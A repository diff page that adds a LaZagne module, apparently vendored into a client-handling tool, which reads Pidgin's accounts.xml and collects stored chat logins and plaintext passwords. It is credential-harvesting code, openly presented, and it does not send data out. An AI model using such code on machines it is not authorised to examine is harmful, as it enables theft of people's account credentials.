summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/chats/pidgin.py
diff options
context:
space:
mode:
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/chats/pidgin.py')
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/pidgin.py28
1 files changed, 28 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/chats/pidgin.py b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
new file mode 100644
index 0000000..072a76d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
@@ -0,0 +1,28 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Pidgin(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'pidgin', 'chats')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+ root = tree.getroot()
+ pwd_found = []
+
+ for account in root.findall('account'):
+ name = account.find('name')
+ password = account.find('password')
+ if all((name, password)):
+ pwd_found.append({
+ 'Login': name.text,
+ 'Password': password.text
+ })
+ return pwd_found